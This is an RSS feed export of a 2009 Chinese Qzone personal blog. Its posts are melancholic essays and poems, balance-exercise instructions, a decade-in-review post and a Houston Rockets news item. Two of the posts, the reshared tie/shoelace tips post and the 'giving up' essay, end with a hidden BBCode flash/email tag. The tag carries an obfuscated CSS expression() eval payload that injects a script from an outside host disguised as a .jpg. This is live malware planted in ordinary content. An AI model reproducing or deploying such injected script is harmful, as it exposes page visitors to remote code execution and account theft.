http://413191324.qzone.qq.com Fri, 27 Nov 2009 15:16:51 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Thu, 19 Nov 2009 08:43:40 GMT http://413191324.qzone.qq.com/blog/1258620220 当我跨入学门的那一天，总是幻想以后的路有多么的平坦。可——现实总是那么的不饶人啊。岁月在挥指间流逝。一眨眼就是三年的时光。 在这时光里。几多欢喜几多愁。 现在回想，只能空留一声叹息。
任世间最美的是不是爱情。我都已经不能挽留，没有留的力量。没有留的理由，我欺骗的已经太多太多，伤害的也太深太深，以至于我无法补偿。
当我登上那趟开往南下的列车。所有的一切一切都从新开始。所有的幸福都流走。。。。。留下的只是心里深深的罪过与亏欠，这辈子的债。何时能够偿还。
夜漆黑。看不到。 灯华丽。。却照不亮人生。。。。 梦美好。。。可终究会醒过来。。 现实。。。往往是那么那么的残酷。。。。无奈的选择 无奈的开始。
我愿回归大地。。。。。。。。。。。。。。。。。 ]]> http://413191324.qzone.qq.com/blog/1258620220#comment 134218240 Thu, 19 Nov 2009 08:43:40 GMT http://413191324.qzone.qq.com/blog/1258620220 http://413191324.qzone.qq.com/blog/1257245396 夜深了..无尽的夜空吞没了一切...

淹没了大地..城市中的一些人们带着无数的梦想渐渐沉睡...

而另一些人们..仍在不同的岗位上奋斗着...

清晨的薰吧,冷冷清清的..

它是否就似是夜,毫无生气?

然而热闹的晚上又是否是白天?热情洋溢!

当黎明的曙光从东边升起的时候..新的希望是否会来临!?

等待着...


不说放弃,眼中必定有泪...

不说放弃,心中必定有伤...

不说放弃,追求必受挫折...

在爱情的国度里,认真的感情与执着的等待就真的不能与幸福划上等号么?

但我爱我所爱,无怨无悔!

爱是一盏灯,黑暗中照亮前行的远方;

爱是一首诗,冰冷中温暖渴求的心房;

爱是夏日的风,是冬日的阳,是春日的雨,是秋日的果.

没有人能丈量爱脚下的路有多长..

没有人能够测试爱心中的海有多深..

唯有时间,时间的目光可以一刻不停地注视着爱的身后和前方..

明晰着爱的足迹,追随着爱的人们,记录着爱的故事!

假如是爱,愿意是时间..

愿意一刻不停地注视着你的身后和前方!

我更愿意用时间证明着自己对你的爱!



]]> http://413191324.qzone.qq.com/blog/1257245396#comment 134218240 Tue, 03 Nov 2009 10:49:56 GMT http://413191324.qzone.qq.com/blog/1257245396 http://413191324.qzone.qq.com/blog/1250136657 http://nikewomen.qzone.qq.com



树式伸展练习中，首先左脚立地
右脚抬起，右脚掌贴左腿内侧，双手合掌并拢
向右伸展，回到中间，向左伸展，再回到中间
接着，向右看，向中间，向左看
再向中间，左脚着地，换另一边
重找到平衡，注意重心
双手合十，右伸出，中间
左伸，中间，向右看，然后再向左看
在2分钟时间里
尽量重复这组动作，同时双腿交换练习
如有需要，可稍作休息

平衡练习叫做脚趾触摸转换成膝盖触摸
首先从左脚开始
双手向下伸展，触到脚趾
抬起异侧膝盖，然后慢慢放下
触膝，抬起异侧膝盖
单腿跳换到另一条腿
放下，触到脚趾，抬膝，触膝
抬腿，然后单腿跳换到另一边
在2分钟时间里
尽量重复这组动作，同时双腿交换练习
如果需要，可以稍作休息

平衡练习叫做四方形单腿跳
首先要右脚立地
单腿向前跳跃，向右
向后，向左，然后换腿
左腿前，侧，后，侧，换
现在归位，左，前，左
换腿，后，左，前，右
在2分钟时间里
尽量重复这组动作。如果需要，可稍作休息

动感勇士
首先，左脚立地，弯腰，触到小腿
然后双手和右腿同时向外伸展
保持这个姿势3到5秒钟
重心落到腹部，然后抬起膝盖
再放下这条腿，换另一边
同样，弯腰，触到右小腿，双手和腿都向上
然后抬去膝盖，接下来……交换练习
在2分钟时间里
尽量重复这组动作。如有需要，可稍作休息

跳跃、伸展和复位
首先，手握一个健身球。如果没有，也没关系
不要球同样可以做这组练习
首先身体自然放松，跳到左边
然后脚伸到一侧，扭转，复位
跳到右边，伸出脚，再扭转，复位
在2分钟时间里
尽量重复这组动作。如有需要，可稍作休息


在平衡木行走中，首先，脚掌着地
把右脚抬起放在左脚前，下蹲，触小腿
在2分钟时间里
尽量重复这组动作
如果动作幅度可加大，可适当加大练习力度
如果不能，可适当减小力度 ]]> http://413191324.qzone.qq.com/blog/1250136657#comment 134226432 Thu, 13 Aug 2009 04:10:57 GMT http://413191324.qzone.qq.com/blog/1250136657 http://413191324.qzone.qq.com/blog/1249259305 ]]> http://413191324.qzone.qq.com/blog/1249259305#comment 134218240 Mon, 03 Aug 2009 00:28:25 GMT http://413191324.qzone.qq.com/blog/1249259305 http://413191324.qzone.qq.com/blog/1245947975 人残志不残
人穷志不穷
别人能做到的我也一样能做到。奇迹在此发生…… ]]> http://413191324.qzone.qq.com/blog/1245947975#comment 134219264 Thu, 25 Jun 2009 16:39:35 GMT http://413191324.qzone.qq.com/blog/1245947975 http://413191324.qzone.qq.com/blog/1240503977




[转]打领带！你会吗？！
















[转]鞋带的N种系法（让你的鞋鞋在细节上胜出）




































[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://413191324.qzone.qq.com/blog/1240503977#comment 5129 Thu, 23 Apr 2009 16:26:17 GMT http://413191324.qzone.qq.com/blog/1240503977 http://413191324.qzone.qq.com/blog/1238917925 有一种心情叫失落,有一种美丽叫放弃
一次默默的放弃,放弃一个心仪却无缘份的朋友;
放弃某种投入却无收获的感情;
放弃某种心灵的期望;放弃某种思想心里生出一种伤感,然而这种伤感并不妨碍自己去重新开始,
在新的时空内将音乐重听一遍,将故事再说一遍!
因为这是一种自然的告别与放弃,它富有超脱精神,因而伤感得美丽
曾经有种感觉,想让它成为永远
过了许多年,才发现它已渐渐消逝了.
才知道原来握在手里的,不一定就是我们真正拥有的;
我们所拥有的,也不一定就是我们真正铭刻在心的
人生很多时候需要自觉的放弃,
因为世间还有太多美好的事物.
对没有拥有的美好,
我们一直在苦苦的向往与追求

为了获得,而忙忙碌碌.
其实自己真正所需要的,
往往要在经历许多年后才会明白.
而对已经拥有的美好,
我们又因为常常得而复失的经历,
而存在一份忐忑与担心
夕阳易逝的叹息,花开花落的烦恼,人生本是不快乐的!
因为拥有的时候,我们也许正在失去,
而放弃的时候,我们也许又在重新获得
对万事万物,我们都不可能有绝对的把握.
刻意去追逐与拥有,就很难走出患得患失的误区.
生命需要升华出安静超然的精神,
明白的人懂得放弃,真情的人懂得牺牲,幸福的人懂得超脱.
虽然我不是因你而来到这个世界,却因你而更加眷恋这个世界!
如果能和你在一起,我会对这个世界满怀感激;
如果不能和你在一起,我会默默的走开,
却仍然不会失掉对这个世界的爱和感激.
感激上天让我与你相遇与你别离,完成上帝所创造的一首诗!
生命给了我们无尽的悲哀,也给了我们永远的答案.
于是,安然一份放弃,固守一份超脱
不管红尘世俗的生活如何变迁,
不管个人的选择方式如何,
更不管握在手中的东西轻重如何,
我们虽逃避也勇敢,虽伤感也欣慰!
我们像往常一样向生活的深处走去,
我们像往常一样在逐步放弃,又逐步坚定[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://413191324.qzone.qq.com/blog/1238917925#comment 134218240 Sun, 05 Apr 2009 07:52:05 GMT http://413191324.qzone.qq.com/blog/1238917925 http://413191324.qzone.qq.com/blog/1238302892 【回忆1998年】
　　好好学习
【回忆1999年】
　　继续努力
【回忆2000年】
　　还是那么认真
【回忆2001年】
　　2200000
【回忆2002年】
　　外出
【回忆2003年】
　　外边的世界很精彩
【回忆2004年】
　　开始有点点后悔
【回忆2005年】
　　后悔是没有药吃的
【回忆2006年】
　　无奈
【回忆2007年】
　　悲伤永无休止.....
【回忆2008年】
　　快乐总是那么的短暂

我的十年感言很精彩吧，点击这里你也可以写感言，点亮十年图标

]]> http://413191324.qzone.qq.com/blog/1238302892#comment 134217729 Sun, 29 Mar 2009 05:01:32 GMT http://413191324.qzone.qq.com/blog/1238302892 http://413191324.qzone.qq.com/blog/1237739452 　　周五晚上当火箭将森林狼牢牢地钉死在地板上之后，他们回到了丰田中心的更衣室，发现凯尔特人把马刺给打败了。
　　这下马刺也不得不摊牌了，现在他们在西南区排第一、整个西部排第二，与火箭之间只有半场比赛的差距。
　　“谁想得到呢？”巴蒂尔说，“我们团结在一起，并坚持下来了，今年我们对马刺打得很不好，一共输了2场，所以要把这场比赛看成是决胜局。所以到了兰德里帮助队伍的时候了，我们需要很多大个子在场上。帕克和邓肯一直就样，而很少有队伍能想出办法来应对他们，不过我们一定会比上一次打得好。”
　　“我知道气氛一定会很紧张，上个礼拜我们刚刚交过手，所以我们知道他们是怎么一回事。在客场之旅中，我们必须好好地对付这些强队，所以在对马刺和爵士的这两场比赛里，我们会有机会的。”
　　火箭一定能抓住这个机会，因为他们都是靠着团结在一起才走到了今天，麦蒂走后他们打出了15胜4负的好成绩，一致和理智终于来到了他们中。
　　他们当然可以呻吟着叹息着说没有了麦蒂就没有了机会，或者他们也可以团结在一起，就像一年前当姚明倒下的时候那样，最后到底还是22连胜了。
　　再一次，火箭没有选择接受借口。 ]]> http://413191324.qzone.qq.com/blog/1237739452#comment 134219272 Sun, 22 Mar 2009 16:30:52 GMT http://413191324.qzone.qq.com/blog/1237739452 http://413191324.qzone.qq.com/blog/1235808551 徐徐微风划过脸狭，
心,在春風中漫游着；
此刻,我迷失在----
温柔的月光中；
不管夜有多凄美；
幸福有多遥远；
转身了…迷失在海洋.
不舍…把它珍藏,

微風吹起白色的窗帘；
是那么那么的柔,
好无力；
现在离夜深！还早呢？
学会独自在人群中散步！
学会在喧闹中孤独！
学会穿越感情的缝隙！
要学的还有好多好多...
然后----时间！
不知不觉在窗外溜走...
不忍...还是要走.

梦总觉不够漫长，
有时觉得生活太无趣，
有时候又觉得要继续下去；
我总是会迷惘......
人活著是不是就算好呢？
即便有时候会很孤独，
心会难耐的想要有人陪，
但我真的不知道?
该怎样解剖自己、表诉自己?
不懂...还要继续.

我从不认为寂寞是一种可怜?
反倒觉得有时寂寞也是一种美丽；
我想我还是习惯壹個人；
樱花树下凄美；
不及花园...
也许...也许...
我是壹個不懂人情世故孤僻的人吧?
灯光...那么...
昏黄而又显沧桑；
感觉好累，心力交瘁；
却还是不困，
依旧无法入眠；
一杯咖啡，品着
一曲音乐，听着
偷偷溜进心里；
缓缓飘入耳帘；
和着忧伤的旋律；
不禁...暗自着迷.

快乐总会躲在忧伤的背后；
我总是会迷惘...
记下忧伤是为了可以遗忘；
转身时就可以更加的坚强；
文字决不是为了描绘伤痕；
只是为了知道我也可以这样坚强；
曾经已是过往，
谁都是记忆未来长夜漫长；
再回首时!
已是岁月无语泪亦干......（为免泛滥，仅供阅读与分享，谢绝转载或复制.）

]]> http://413191324.qzone.qq.com/blog/1235808551#comment 134218250 Sat, 28 Feb 2009 08:09:11 GMT http://413191324.qzone.qq.com/blog/1235808551